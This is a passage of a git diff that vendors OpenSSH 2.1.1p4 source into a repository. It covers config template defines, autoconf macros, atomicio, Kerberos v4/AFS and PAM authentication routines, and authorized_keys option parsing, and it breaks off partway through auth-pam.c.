IP_TOS_IS_BROKEN + +/* Define if you have the getuserattr function. */ +#undef HAVE_GETUSERATTR + +/* Work around problematic Linux PAM modules handling of PAM_TTY */ +#undef PAM_TTY_KLUDGE + +/* Use PIPES instead of a socketpair() */ +#undef USE_PIPES + +/* Define if your snprintf is busted */ +#undef BROKEN_SNPRINTF + +/* Define if you are on NeXT */ +#undef HAVE_NEXT + +/* Define if you want to disable PAM support */ +#undef DISABLE_PAM + +/* Define if you want to enable AIX4's authenticate function */ +#undef WITH_AIXAUTHENTICATE + +/* Define if you have/want arrays (cluster-wide session managment, not C arrays) */ +#undef WITH_IRIX_ARRAY + +/* Define if you want IRIX project management */ +#undef WITH_IRIX_PROJECT + +/* Define if you want IRIX audit trails */ +#undef WITH_IRIX_AUDIT + +/* Location of random number pool */ +#undef RANDOM_POOL + +/* Location of EGD random number socket */ +#undef EGD_SOCKET + +/* Builtin PRNG command timeout */ +#undef ENTROPY_TIMEOUT_MSEC + +/* Define if you want to install preformatted manpages.*/ +#undef MANTYPE + +/* Define if your ssl headers are included with #include */ +#undef HAVE_OPENSSL + +/* Define if you are linking against RSAref. Used only to print the right + * message at run-time. */ +#undef RSAREF + +/* struct utmp and struct utmpx fields */ +#undef HAVE_HOST_IN_UTMP +#undef HAVE_HOST_IN_UTMPX +#undef HAVE_ADDR_IN_UTMP +#undef HAVE_ADDR_IN_UTMPX +#undef HAVE_ADDR_V6_IN_UTMP +#undef HAVE_ADDR_V6_IN_UTMPX +#undef HAVE_SYSLEN_IN_UTMPX +#undef HAVE_PID_IN_UTMP +#undef HAVE_TYPE_IN_UTMP +#undef HAVE_TYPE_IN_UTMPX +#undef HAVE_TV_IN_UTMP +#undef HAVE_TV_IN_UTMPX +#undef HAVE_ID_IN_UTMP +#undef HAVE_ID_IN_UTMPX +#undef HAVE_EXIT_IN_UTMP +#undef HAVE_TIME_IN_UTMP +#undef HAVE_TIME_IN_UTMPX + +/* Define if you don't want to use your system's login() call */ +#undef DISABLE_LOGIN + +/* Define if you don't want to use pututline() etc. to write [uw]tmp */ +#undef DISABLE_PUTUTLINE + +/* Define if you don't want to use pututxline() etc. to write [uw]tmpx */ +#undef DISABLE_PUTUTXLINE + +/* Define if you don't want to use lastlog */ +#undef DISABLE_LASTLOG + +/* Define if you don't want to use utmp */ +#undef DISABLE_UTMP + +/* Define if you don't want to use utmpx */ +#undef DISABLE_UTMPX + +/* Define if you don't want to use wtmp */ +#undef DISABLE_WTMP + +/* Define if you don't want to use wtmpx */ +#undef DISABLE_WTMPX + +/* Define if you want to specify the path to your lastlog file */ +#undef CONF_LASTLOG_FILE + +/* Define if you want to specify the path to your utmp file */ +#undef CONF_UTMP_FILE + +/* Define if you want to specify the path to your wtmp file */ +#undef CONF_WTMP_FILE + +/* Define if you want to specify the path to your utmpx file */ +#undef CONF_UTMPX_FILE + +/* Define if you want to specify the path to your wtmpx file */ +#undef CONF_WTMPX_FILE + +/* Define is libutil has login() function */ +#undef HAVE_LIBUTIL_LOGIN + +/* Define if you want external askpass support */ +#undef USE_EXTERNAL_ASKPASS + +/* Define if libc defines __progname */ +#undef HAVE___PROGNAME + +/* Define if you want Kerberos 4 support */ +#undef KRB4 + +/* Define if you want AFS support */ +#undef AFS + +/* Define if you want S/Key support */ +#undef SKEY + +/* Define if you want TCP Wrappers support */ +#undef LIBWRAP + +/* Define if your libraries define login() */ +#undef HAVE_LOGIN + +/* Define if your libraries define daemon() */ +#undef HAVE_DAEMON + +/* Define if your libraries define getpagesize() */ +#undef HAVE_GETPAGESIZE + +/* Define if xauth is found in your path */ +#undef XAUTH_PATH + +/* Define if rsh is found in your path */ +#undef RSH_PATH + +/* Define if you want to allow MD5 passwords */ +#undef HAVE_MD5_PASSWORDS + +/* Define if you want to disable shadow passwords */ +#undef DISABLE_SHADOW + +/* Define if you want to use shadow password expire field */ +#undef HAS_SHADOW_EXPIRE + +/* Define if you want have trusted HPUX */ +#undef HAVE_HPUX_TRUSTED_SYSTEM_PW + +/* Define if you have Digital Unix Security Integration Architecture */ +#undef HAVE_OSF_SIA + +/* Define if you have getpwanam(3) [SunOS 4.x] */ +#undef HAVE_GETPWANAM + +/* Defined if in_systm.h needs to be included with netinet/ip.h (HPUX - ) */ +#undef NEED_IN_SYSTM_H + +/* Define if you have an old version of PAM which takes only one argument */ +/* to pam_strerror */ +#undef HAVE_OLD_PAM + +/* Set this to your mail directory if you don't have maillock.h */ +#undef MAIL_DIRECTORY + +/* Data types */ +#undef HAVE_INTXX_T +#undef HAVE_U_INTXX_T +#undef HAVE_UINTXX_T +#undef HAVE_SOCKLEN_T +#undef HAVE_SIZE_T +#undef HAVE_SSIZE_T +#undef HAVE_MODE_T +#undef HAVE_PID_T +#undef HAVE_SA_FAMILY_T +#undef HAVE_STRUCT_SOCKADDR_STORAGE +#undef HAVE_STRUCT_ADDRINFO +#undef HAVE_STRUCT_IN6_ADDR +#undef HAVE_STRUCT_SOCKADDR_IN6 + +/* Fields in struct sockaddr_storage */ +#undef HAVE_SS_FAMILY_IN_SS +#undef HAVE___SS_FAMILY_IN_SS + +/* Define if you have /dev/ptmx */ +#undef HAVE_DEV_PTMX + +/* Define if you have /dev/ptc */ +#undef HAVE_DEV_PTS_AND_PTC + +/* Define if you need to use IP address instead of hostname in $DISPLAY */ +#undef IPADDR_IN_DISPLAY + +/* Specify default $PATH */ +#undef USER_PATH + +/* Specify location of ssh.pid */ +#undef PIDDIR + +/* Use IPv4 for connection by default, IPv6 can still if explicity asked */ +#undef IPV4_DEFAULT + +/* getaddrinfo is broken (if present) */ +#undef BROKEN_GETADDRINFO + +/* Workaround more Linux IPv6 quirks */ +#undef DONT_TRY_OTHER_AF + +/* Detect IPv4 in IPv6 mapped addresses and treat as IPv4 */ +#undef IPV4_IN_IPV6 + +@BOTTOM@ + +/* ******************* Shouldn't need to edit below this line ************** */ + +#include "defines.h" + +#endif /* _CONFIG_H */ diff --git a/other/openssh-2.1.1p4/aclocal.m4 b/other/openssh-2.1.1p4/aclocal.m4 new file mode 100644 index 0000000..d196b75 --- /dev/null +++ b/other/openssh-2.1.1p4/aclocal.m4 @@ -0,0 +1,45 @@ +dnl $Id: aclocal.m4,v 1.4 2000/06/26 00:20:19 djm Exp $ +dnl +dnl OpenSSH-specific autoconf macros +dnl + + +dnl OSSH_CHECK_HEADER_FOR_FIELD(field, header, symbol) +dnl Does AC_EGREP_HEADER on 'header' for the string 'field' +dnl If found, set 'symbol' to be defined. Cache the result. +dnl TODO: This is not foolproof, better to compile and read from there +AC_DEFUN(OSSH_CHECK_HEADER_FOR_FIELD, [ +# look for field '$1' in header '$2' + dnl This strips characters illegal to m4 from the header filename + ossh_safe=`echo "$2" | sed 'y%./+-%__p_%'` + dnl + ossh_varname="ossh_cv_$ossh_safe""_has_"$1 + AC_MSG_CHECKING(for $1 field in $2) + AC_CACHE_VAL($ossh_varname, [ + AC_EGREP_HEADER($1, $2, [ dnl + eval "$ossh_varname=yes" dnl + ], [ dnl + eval "$ossh_varname=no" dnl + ]) dnl + ]) + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + AC_MSG_RESULT($ossh_result) + if test "x$ossh_result" = "xyes"; then + AC_DEFINE($3) + fi + else + AC_MSG_RESULT(no) + fi +]) + +dnl OSSH_PATH_ENTROPY_PROG(variablename, command): +dnl Tidiness function, sets 'undef' if not found, and does the AC_SUBST +AC_DEFUN(OSSH_PATH_ENTROPY_PROG, [ + AC_PATH_PROG($1, $2) + if test -z "[$]$1" ; then + $1="undef" + fi + AC_SUBST($1) +]) + diff --git a/other/openssh-2.1.1p4/atomicio.c b/other/openssh-2.1.1p4/atomicio.c new file mode 100644 index 0000000..45da22d --- /dev/null +++ b/other/openssh-2.1.1p4/atomicio.c @@ -0,0 +1,62 @@ +/* + * Copyright (c) 1999 Theo de Raadt + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: atomicio.c,v 1.4 2000/06/20 01:39:37 markus Exp $"); + +#include "xmalloc.h" +#include "ssh.h" + +/* + * ensure all of data on socket comes through. f==read || f==write + */ +ssize_t +atomicio(f, fd, _s, n) + ssize_t (*f) (); + int fd; + void *_s; + size_t n; +{ + char *s = _s; + ssize_t res, pos = 0; + + while (n > pos) { + res = (f) (fd, s + pos, n - pos); + switch (res) { + case -1: +#ifdef EWOULDBLOCK + if (errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK) +#else + if (errno == EINTR || errno == EAGAIN) +#endif + continue; + case 0: + return (res); + default: + pos += res; + } + } + return (pos); +} diff --git a/other/openssh-2.1.1p4/auth-krb4.c b/other/openssh-2.1.1p4/auth-krb4.c new file mode 100644 index 0000000..e32089b --- /dev/null +++ b/other/openssh-2.1.1p4/auth-krb4.c @@ -0,0 +1,351 @@ +/* + * Dug Song + * Kerberos v4 authentication and ticket-passing routines. + */ + +#include "includes.h" +#include "packet.h" +#include "xmalloc.h" +#include "ssh.h" +#include "servconf.h" + +RCSID("$OpenBSD: auth-krb4.c,v 1.15 2000/06/22 23:54:59 djm Exp $"); + +#ifdef KRB4 +char *ticket = NULL; + +extern ServerOptions options; + +/* + * try krb4 authentication, + * return 1 on success, 0 on failure, -1 if krb4 is not available + */ + +int +auth_krb4_password(struct passwd * pw, const char *password) +{ + AUTH_DAT adata; + KTEXT_ST tkt; + struct hostent *hp; + unsigned long faddr; + char localhost[MAXHOSTNAMELEN]; + char phost[INST_SZ]; + char realm[REALM_SZ]; + int r; + + /* + * Try Kerberos password authentication only for non-root + * users and only if Kerberos is installed. + */ + if (pw->pw_uid != 0 && krb_get_lrealm(realm, 1) == KSUCCESS) { + + /* Set up our ticket file. */ + if (!krb4_init(pw->pw_uid)) { + log("Couldn't initialize Kerberos ticket file for %s!", + pw->pw_name); + goto kerberos_auth_failure; + } + /* Try to get TGT using our password. */ + r = krb_get_pw_in_tkt((char *) pw->pw_name, "", + realm, "krbtgt", realm, + DEFAULT_TKT_LIFE, (char *) password); + if (r != INTK_OK) { + packet_send_debug("Kerberos V4 password " + "authentication for %s failed: %s", + pw->pw_name, krb_err_txt[r]); + goto kerberos_auth_failure; + } + /* Successful authentication. */ + chown(tkt_string(), pw->pw_uid, pw->pw_gid); + + /* + * Now that we have a TGT, try to get a local + * "rcmd" ticket to ensure that we are not talking + * to a bogus Kerberos server. + */ + (void) gethostname(localhost, sizeof(localhost)); + (void) strlcpy(phost, (char *) krb_get_phost(localhost), + INST_SZ); + r = krb_mk_req(&tkt, KRB4_SERVICE_NAME, phost, realm, 33); + + if (r == KSUCCESS) { + if (!(hp = gethostbyname(localhost))) { + log("Couldn't get local host address!"); + goto kerberos_auth_failure; + } + memmove((void *) &faddr, (void *) hp->h_addr, + sizeof(faddr)); + + /* Verify our "rcmd" ticket. */ + r = krb_rd_req(&tkt, KRB4_SERVICE_NAME, phost, + faddr, &adata, ""); + if (r == RD_AP_UNDEC) { + /* + * Probably didn't have a srvtab on + * localhost. Allow login. + */ + log("Kerberos V4 TGT for %s unverifiable, " + "no srvtab installed? krb_rd_req: %s", + pw->pw_name, krb_err_txt[r]); + } else if (r != KSUCCESS) { + log("Kerberos V4 %s ticket unverifiable: %s", + KRB4_SERVICE_NAME, krb_err_txt[r]); + goto kerberos_auth_failure; + } + } else if (r == KDC_PR_UNKNOWN) { + /* + * Allow login if no rcmd service exists, but + * log the error. + */ + log("Kerberos V4 TGT for %s unverifiable: %s; %s.%s " + "not registered, or srvtab is wrong?", pw->pw_name, + krb_err_txt[r], KRB4_SERVICE_NAME, phost); + } else { + /* + * TGT is bad, forget it. Possibly spoofed! + */ + packet_send_debug("WARNING: Kerberos V4 TGT " + "possibly spoofed for %s: %s", + pw->pw_name, krb_err_txt[r]); + goto kerberos_auth_failure; + } + + /* Authentication succeeded. */ + return 1; + +kerberos_auth_failure: + krb4_cleanup_proc(NULL); + + if (!options.kerberos_or_local_passwd) + return 0; + } else { + /* Logging in as root or no local Kerberos realm. */ + packet_send_debug("Unable to authenticate to Kerberos."); + } + /* Fall back to ordinary passwd authentication. */ + return -1; +} + +void +krb4_cleanup_proc(void *ignore) +{ + debug("krb4_cleanup_proc called"); + if (ticket) { + (void) dest_tkt(); + xfree(ticket); + ticket = NULL; + } +} + +int +krb4_init(uid_t uid) +{ + static int cleanup_registered = 0; + const char *tkt_root = TKT_ROOT; + struct stat st; + int fd; + + if (!ticket) { + /* Set unique ticket string manually since we're still root. */ + ticket = xmalloc(MAXPATHLEN); +#ifdef AFS + if (lstat("/ticket", &st) != -1) + tkt_root = "/ticket/"; +#endif /* AFS */ + snprintf(ticket, MAXPATHLEN, "%s%d_%d", tkt_root, uid, getpid()); + (void) krb_set_tkt_string(ticket); + } + /* Register ticket cleanup in case of fatal error. */ + if (!cleanup_registered) { + fatal_add_cleanup(krb4_cleanup_proc, NULL); + cleanup_registered = 1; + } + /* Try to create our ticket file. */ + if ((fd = mkstemp(ticket)) != -1) { + close(fd); + return 1; + } + /* Ticket file exists - make sure user owns it (just passed ticket). */ + if (lstat(ticket, &st) != -1) { + if (st.st_mode == (S_IFREG | S_IRUSR | S_IWUSR) && + st.st_uid == uid) + return 1; + } + /* Failure - cancel cleanup function, leaving bad ticket for inspection. */ + log("WARNING: bad ticket file %s", ticket); + fatal_remove_cleanup(krb4_cleanup_proc, NULL); + cleanup_registered = 0; + xfree(ticket); + ticket = NULL; + + return 0; +} + +int +auth_krb4(const char *server_user, KTEXT auth, char **client) +{ + AUTH_DAT adat = {0}; + KTEXT_ST reply; + char instance[INST_SZ]; + int r, s; + socklen_t slen; + u_int cksum; + Key_schedule schedule; + struct sockaddr_in local, foreign; + + s = packet_get_connection_in(); + + slen = sizeof(local); + memset(&local, 0, sizeof(local)); + if (getsockname(s, (struct sockaddr *) & local, &slen) < 0) + debug("getsockname failed: %.100s", strerror(errno)); + slen = sizeof(foreign); + memset(&foreign, 0, sizeof(foreign)); + if (getpeername(s, (struct sockaddr *) & foreign, &slen) < 0) { + debug("getpeername failed: %.100s", strerror(errno)); + fatal_cleanup(); + } + instance[0] = '*'; + instance[1] = 0; + + /* Get the encrypted request, challenge, and session key. */ + if ((r = krb_rd_req(auth, KRB4_SERVICE_NAME, instance, 0, &adat, ""))) { + packet_send_debug("Kerberos V4 krb_rd_req: %.100s", krb_err_txt[r]); + return 0; + } + des_key_sched((des_cblock *) adat.session, schedule); + + *client = xmalloc(MAX_K_NAME_SZ); + (void) snprintf(*client, MAX_K_NAME_SZ, "%s%s%s@%s", adat.pname, + *adat.pinst ? "." : "", adat.pinst, adat.prealm); + + /* Check ~/.klogin authorization now. */ + if (kuserok(&adat, (char *) server_user) != KSUCCESS) { + packet_send_debug("Kerberos V4 .klogin authorization failed!"); + log("Kerberos V4 .klogin authorization failed for %s to account %s", + *client, server_user); + xfree(*client); + return 0; + } + /* Increment the checksum, and return it encrypted with the + session key. */ + cksum = adat.checksum + 1; + cksum = htonl(cksum); + + /* If we can't successfully encrypt the checksum, we send back an + empty message, admitting our failure. */ + if ((r = krb_mk_priv((u_char *) & cksum, reply.dat, sizeof(cksum) + 1, + schedule, &adat.session, &local, &foreign)) < 0) { + packet_send_debug("Kerberos V4 mk_priv: (%d) %s", r, krb_err_txt[r]); + reply.dat[0] = 0; + reply.length = 0; + } else + reply.length = r; + + /* Clear session key. */ + memset(&adat.session, 0, sizeof(&adat.session)); + + packet_start(SSH_SMSG_AUTH_KERBEROS_RESPONSE); + packet_put_string((char *) reply.dat, reply.length); + packet_send(); + packet_write_wait(); + return 1; +} +#endif /* KRB4 */ + +#ifdef AFS +int +auth_kerberos_tgt(struct passwd *pw, const char *string) +{ + CREDENTIALS creds; + + if (!radix_to_creds(string, &creds)) { + log("Protocol error decoding Kerberos V4 tgt"); + packet_send_debug("Protocol error decoding Kerberos V4 tgt"); + goto auth_kerberos_tgt_failure; + } + if (strncmp(creds.service, "", 1) == 0) /* backward compatibility */ + strlcpy(creds.service, "krbtgt", sizeof creds.service); + + if (strcmp(creds.service, "krbtgt")) { + log("Kerberos V4 tgt (%s%s%s@%s) rejected for %s", creds.pname, + creds.pinst[0] ? "." : "", creds.pinst, creds.realm, + pw->pw_name); + packet_send_debug("Kerberos V4 tgt (%s%s%s@%s) rejected for %s", + creds.pname, creds.pinst[0] ? "." : "", creds.pinst, + creds.realm, pw->pw_name); + goto auth_kerberos_tgt_failure; + } + if (!krb4_init(pw->pw_uid)) + goto auth_kerberos_tgt_failure; + + if (in_tkt(creds.pname, creds.pinst) != KSUCCESS) + goto auth_kerberos_tgt_failure; + + if (save_credentials(creds.service, creds.instance, creds.realm, + creds.session, creds.lifetime, creds.kvno, + &creds.ticket_st, creds.issue_date) != KSUCCESS) { + packet_send_debug("Kerberos V4 tgt refused: couldn't save credentials"); + goto auth_kerberos_tgt_failure; + } + /* Successful authentication, passed all checks. */ + chown(tkt_string(), pw->pw_uid, pw->pw_gid); + + packet_send_debug("Kerberos V4 tgt accepted (%s.%s@%s, %s%s%s@%s)", + creds.service, creds.instance, creds.realm, creds.pname, + creds.pinst[0] ? "." : "", creds.pinst, creds.realm); + memset(&creds, 0, sizeof(creds)); + packet_start(SSH_SMSG_SUCCESS); + packet_send(); + packet_write_wait(); + return 1; + +auth_kerberos_tgt_failure: + krb4_cleanup_proc(NULL); + memset(&creds, 0, sizeof(creds)); + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + return 0; +} + +int +auth_afs_token(struct passwd *pw, const char *token_string) +{ + CREDENTIALS creds; + uid_t uid = pw->pw_uid; + + if (!radix_to_creds(token_string, &creds)) { + log("Protocol error decoding AFS token"); + packet_send_debug("Protocol error decoding AFS token"); + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + return 0; + } + if (strncmp(creds.service, "", 1) == 0) /* backward compatibility */ + strlcpy(creds.service, "afs", sizeof creds.service); + + if (strncmp(creds.pname, "AFS ID ", 7) == 0) + uid = atoi(creds.pname + 7); + + if (kafs_settoken(creds.realm, uid, &creds)) { + log("AFS token (%s@%s) rejected for %s", creds.pname, creds.realm, + pw->pw_name); + packet_send_debug("AFS token (%s@%s) rejected for %s", creds.pname, + creds.realm, pw->pw_name); + memset(&creds, 0, sizeof(creds)); + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + return 0; + } + packet_send_debug("AFS token accepted (%s@%s, %s@%s)", creds.service, + creds.realm, creds.pname, creds.realm); + memset(&creds, 0, sizeof(creds)); + packet_start(SSH_SMSG_SUCCESS); + packet_send(); + packet_write_wait(); + return 1; +} +#endif /* AFS */ diff --git a/other/openssh-2.1.1p4/auth-options.c b/other/openssh-2.1.1p4/auth-options.c new file mode 100644 index 0000000..55ccc85 --- /dev/null +++ b/other/openssh-2.1.1p4/auth-options.c @@ -0,0 +1,208 @@ +#include "includes.h" +RCSID("$OpenBSD: auth-options.c,v 1.2 2000/06/20 01:39:38 markus Exp $"); + +#include "ssh.h" +#include "packet.h" +#include "xmalloc.h" +#include "match.h" + +/* Flags set authorized_keys flags */ +int no_port_forwarding_flag = 0; +int no_agent_forwarding_flag = 0; +int no_x11_forwarding_flag = 0; +int no_pty_flag = 0; + +/* "command=" option. */ +char *forced_command = NULL; + +/* "environment=" options. */ +struct envstring *custom_environment = NULL; + +/* return 1 if access is granted, 0 if not. side effect: sets key option flags */ +int +auth_parse_options(struct passwd *pw, char *options, unsigned long linenum) +{ + const char *cp; + if (!options) + return 1; + while (*options && *options != ' ' && *options != '\t') { + cp = "no-port-forwarding"; + if (strncmp(options, cp, strlen(cp)) == 0) { + packet_send_debug("Port forwarding disabled."); + no_port_forwarding_flag = 1; + options += strlen(cp); + goto next_option; + } + cp = "no-agent-forwarding"; + if (strncmp(options, cp, strlen(cp)) == 0) { + packet_send_debug("Agent forwarding disabled."); + no_agent_forwarding_flag = 1; + options += strlen(cp); + goto next_option; + } + cp = "no-X11-forwarding"; + if (strncmp(options, cp, strlen(cp)) == 0) { + packet_send_debug("X11 forwarding disabled."); + no_x11_forwarding_flag = 1; + options += strlen(cp); + goto next_option; + } + cp = "no-pty"; + if (strncmp(options, cp, strlen(cp)) == 0) { + packet_send_debug("Pty allocation disabled."); + no_pty_flag = 1; + options += strlen(cp); + goto next_option; + } + cp = "command=\""; + if (strncmp(options, cp, strlen(cp)) == 0) { + int i; + options += strlen(cp); + forced_command = xmalloc(strlen(options) + 1); + i = 0; + while (*options) { + if (*options == '"') + break; + if (*options == '\\' && options[1] == '"') { + options += 2; + forced_command[i++] = '"'; + continue; + } + forced_command[i++] = *options++; + } + if (!*options) { + debug("%.100s, line %lu: missing end quote", + SSH_USER_PERMITTED_KEYS, linenum); + packet_send_debug("%.100s, line %lu: missing end quote", + SSH_USER_PERMITTED_KEYS, linenum); + continue; + } + forced_command[i] = 0; + packet_send_debug("Forced command: %.900s", forced_command); + options++; + goto next_option; + } + cp = "environment=\""; + if (strncmp(options, cp, strlen(cp)) == 0) { + int i; + char *s; + struct envstring *new_envstring; + options += strlen(cp); + s = xmalloc(strlen(options) + 1); + i = 0; + while (*options) { + if (*options == '"') + break; + if (*options == '\\' && options[1] == '"') { + options += 2; + s[i++] = '"'; + continue; + } + s[i++] = *options++; + } + if (!*options) { + debug("%.100s, line %lu: missing end quote", + SSH_USER_PERMITTED_KEYS, linenum); + packet_send_debug("%.100s, line %lu: missing end quote", + SSH_USER_PERMITTED_KEYS, linenum); + continue; + } + s[i] = 0; + packet_send_debug("Adding to environment: %.900s", s); + debug("Adding to environment: %.900s", s); + options++; + new_envstring = xmalloc(sizeof(struct envstring)); + new_envstring->s = s; + new_envstring->next = custom_environment; + custom_environment = new_envstring; + goto next_option; + } + cp = "from=\""; + if (strncmp(options, cp, strlen(cp)) == 0) { + int mname, mip; + char *patterns = xmalloc(strlen(options) + 1); + int i; + options += strlen(cp); + i = 0; + while (*options) { + if (*options == '"') + break; + if (*options == '\\' && options[1] == '"') { + options += 2; + patterns[i++] = '"'; + continue; + } + patterns[i++] = *options++; + } + if (!*options) { + debug("%.100s, line %lu: missing end quote", + SSH_USER_PERMITTED_KEYS, linenum); + packet_send_debug("%.100s, line %lu: missing end quote", + SSH_USER_PERMITTED_KEYS, linenum); + continue; + } + patterns[i] = 0; + options++; + /* + * Deny access if we get a negative + * match for the hostname or the ip + * or if we get not match at all + */ + mname = match_hostname(get_canonical_hostname(), + patterns, strlen(patterns)); + mip = match_hostname(get_remote_ipaddr(), + patterns, strlen(patterns)); + xfree(patterns); + if (mname == -1 || mip == -1 || + (mname != 1 && mip != 1)) { + log("Authentication tried for %.100s with correct key but not from a permitted host (host=%.200s, ip=%.200s).", + pw->pw_name, get_canonical_hostname(), + get_remote_ipaddr()); + packet_send_debug("Your host '%.200s' is not permitted to use this key for login.", + get_canonical_hostname()); + /* key invalid for this host, reset flags */ + no_agent_forwarding_flag = 0; + no_port_forwarding_flag = 0; + no_pty_flag = 0; + no_x11_forwarding_flag = 0; + while (custom_environment) { + struct envstring *ce = custom_environment; + custom_environment = ce->next; + xfree(ce->s); + xfree(ce); + } + if (forced_command) { + xfree(forced_command); + forced_command = NULL; + } + /* deny access */ + return 0; + } + /* Host name matches. */ + goto next_option; + } +next_option: + /* + * Skip the comma, and move to the next option + * (or break out if there are no more). + */ + if (!*options) + fatal("Bugs in auth-options.c option processing."); + if (*options == ' ' || *options == '\t') + break; /* End of options. */ + if (*options != ',') + goto bad_option; + options++; + /* Process the next option. */ + } + /* grant access */ + return 1; + +bad_option: + log("Bad options in %.100s file, line %lu: %.50s", + SSH_USER_PERMITTED_KEYS, linenum, options); + packet_send_debug("Bad options in %.100s file, line %lu: %.50s", + SSH_USER_PERMITTED_KEYS, linenum, options); + /* deny access */ + return 0; +} diff --git a/other/openssh-2.1.1p4/auth-options.h b/other/openssh-2.1.1p4/auth-options.h new file mode 100644 index 0000000..1ecdb9d --- /dev/null +++ b/other/openssh-2.1.1p4/auth-options.h @@ -0,0 +1,13 @@ +#ifndef AUTH_OPTIONS_H +#define AUTH_OPTIONS_H +/* Flags that may be set in authorized_keys options. */ +extern int no_port_forwarding_flag; +extern int no_agent_forwarding_flag; +extern int no_x11_forwarding_flag; +extern int no_pty_flag; +extern char *forced_command; +extern struct envstring *custom_environment; + +/* return 1 if access is granted, 0 if not. side effect: sets key option flags */ +int auth_parse_options(struct passwd *pw, char *options, unsigned long linenum); +#endif diff --git a/other/openssh-2.1.1p4/auth-pam.c b/other/openssh-2.1.1p4/auth-pam.c new file mode 100644 index 0000000..852dbdc --- /dev/null +++ b/other/openssh-2.1.1p4/auth-pam.c @@ -0,0 +1,307 @@ +/* + * Copyright (c) 2000 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" + +#ifdef USE_PAM +#include "ssh.h" +#include "xmalloc.h" +#include "servconf.h" + +RCSID("$Id: auth-pam.c,v 1.11 2000/07/09 12:42:33 djm Exp $"); + +#define NEW_AUTHTOK_MSG \ + "Warning: You password has expired, please change it now" + +/* Callbacks */ +static int pamconv(int num_msg, const struct pam_message **msg, + struct pam_response **resp, void *appdata_ptr); +void pam_cleanup_proc(void *context); +void pam_msg_cat(const char *msg); + +/* module-local variables */ +static struct pam_conv conv = { + pamconv, + NULL +}; +static struct pam_handle_t *pamh = NULL; +static const char *pampasswd = NULL; +static char *pam_msg = NULL; + +/* PAM conversation function. This is really a kludge to get the password */ +/* into PAM and to pick up any messages generated by PAM into pamconv_msg */ +static int pamconv(int num_msg, const struct pam_message **msg, + struct pam_response **resp, void *appdata_ptr) +{ + struct pam_response *reply; + int count; + + /* PAM will free this later */ + reply = malloc(num_msg * sizeof(*reply)); + if (reply == NULL) + return PAM_CONV_ERR; + + for(count = 0; count < num_msg; count++) { + switch (msg[count]->msg_style) { + case PAM_PROMPT_ECHO_OFF: + if (pampasswd == NULL) { + free(reply); + return PAM_CONV_ERR; + } + reply[count].resp_retcode = PAM_SUCCESS; + reply[count].resp = xstrdup(pampasswd); + break; + case PAM_TEXT_INFO: + reply[count].resp_retcode = PAM_SUCCESS; + reply[count].resp = xstrdup(""); + + if (msg[count]->msg != NULL) + pam_msg_cat(msg[count]->msg); + + break; + default: + free(reply); + return PAM_CONV_ERR; + } + } + + *resp = reply; + + return PAM_SUCCESS; +} + +/* Called at exit to cleanly shutdown PAM */ +void pam_cleanup_proc(void *context) +{ + int pam_retval; + + if (pamh != NULL) + { + pam_retval = pam_close_session((pam_handle_t *)pamh, 0); + if (pam_retval != PAM_SUCCESS) { + log("Cannot close PAM session: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } + + pam_retval = pam_setcred((pam_handle_t *)pamh, PAM_DELETE_CRED); + if (pam_retval != PAM_SUCCESS) { + log("Cannot delete credentials: %.200s", + PAM_STRERROR((pam_handle_t *)pamh, pam_retval)); + } + + pam_retval = pam_end((pam_handle_t *)pamh, pam_retval); + if (pam_retval != PAM_SUCCESS) { + log("Cannot release PAM authentication: %.200s", + 